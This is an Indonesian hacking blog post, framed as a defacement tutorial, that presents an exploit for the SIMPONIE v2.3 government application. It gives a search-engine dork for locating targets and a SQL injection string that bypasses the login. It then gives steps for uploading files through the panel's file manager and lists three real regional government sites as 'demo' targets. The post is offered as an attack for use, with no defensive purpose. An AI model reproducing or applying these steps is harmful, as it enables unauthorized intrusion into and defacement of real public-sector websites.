SIMPONIE v2.3 Indonesia Government | Responsive File Manager File Upload


SIMPONIE V2.3 INDONESIA GOVERNMENT | RESPONSIVE FILE MANAGER FILE UPLOAD - Yooo gan, kali ini saya akan memberi tutorial deface. langsung aja disimak ya gan.

[+]Exploit Title:SIMPONIE v2.3 Indonesia Government Responsive File Manager File Upload
[+]Author: Negat1ve
[+]Team: -1
[+]Google Dork: intext:"SIMPONIE v2.3"

[+]Tested on: Windows 10 x64

[+]Proof of concept:
- Find website with the dork, Login url will be "site.go.id/panel.login"
- Login with this detail
  • user: ' or 1=1 limit 1 -- -+
  • password: ' or 1=1 limit 1 -- -+
    - You can upload your file via Responsive Drag and Drop File in "Berkas unggahan"
    - Your file will go to "site.go.id/fm/rc/random hash/yourfilename.jpg"
    - example : "https://simponie2.lebakkab.go.id/…/988e396409f2ac…/loser.jpg"
    - filetype of this uploader is jpg jpeg png

    [+]Demo sites:
    - https://simponie2.lebakkab.go.id/panel/login
    - http://simponie.serangkab.go.id/panel/login
    - https://simponie.tangerangselatankota.go.id/panel/login

    Terimakasih telah mengunjungi blog saya, semoga info tadi bermanfaat. Maaf bila ada salah kata/tulis, karena saya manusia bukan robot.
    Penulis, (abnid1337)
  • No comments

    Powered by Blogger.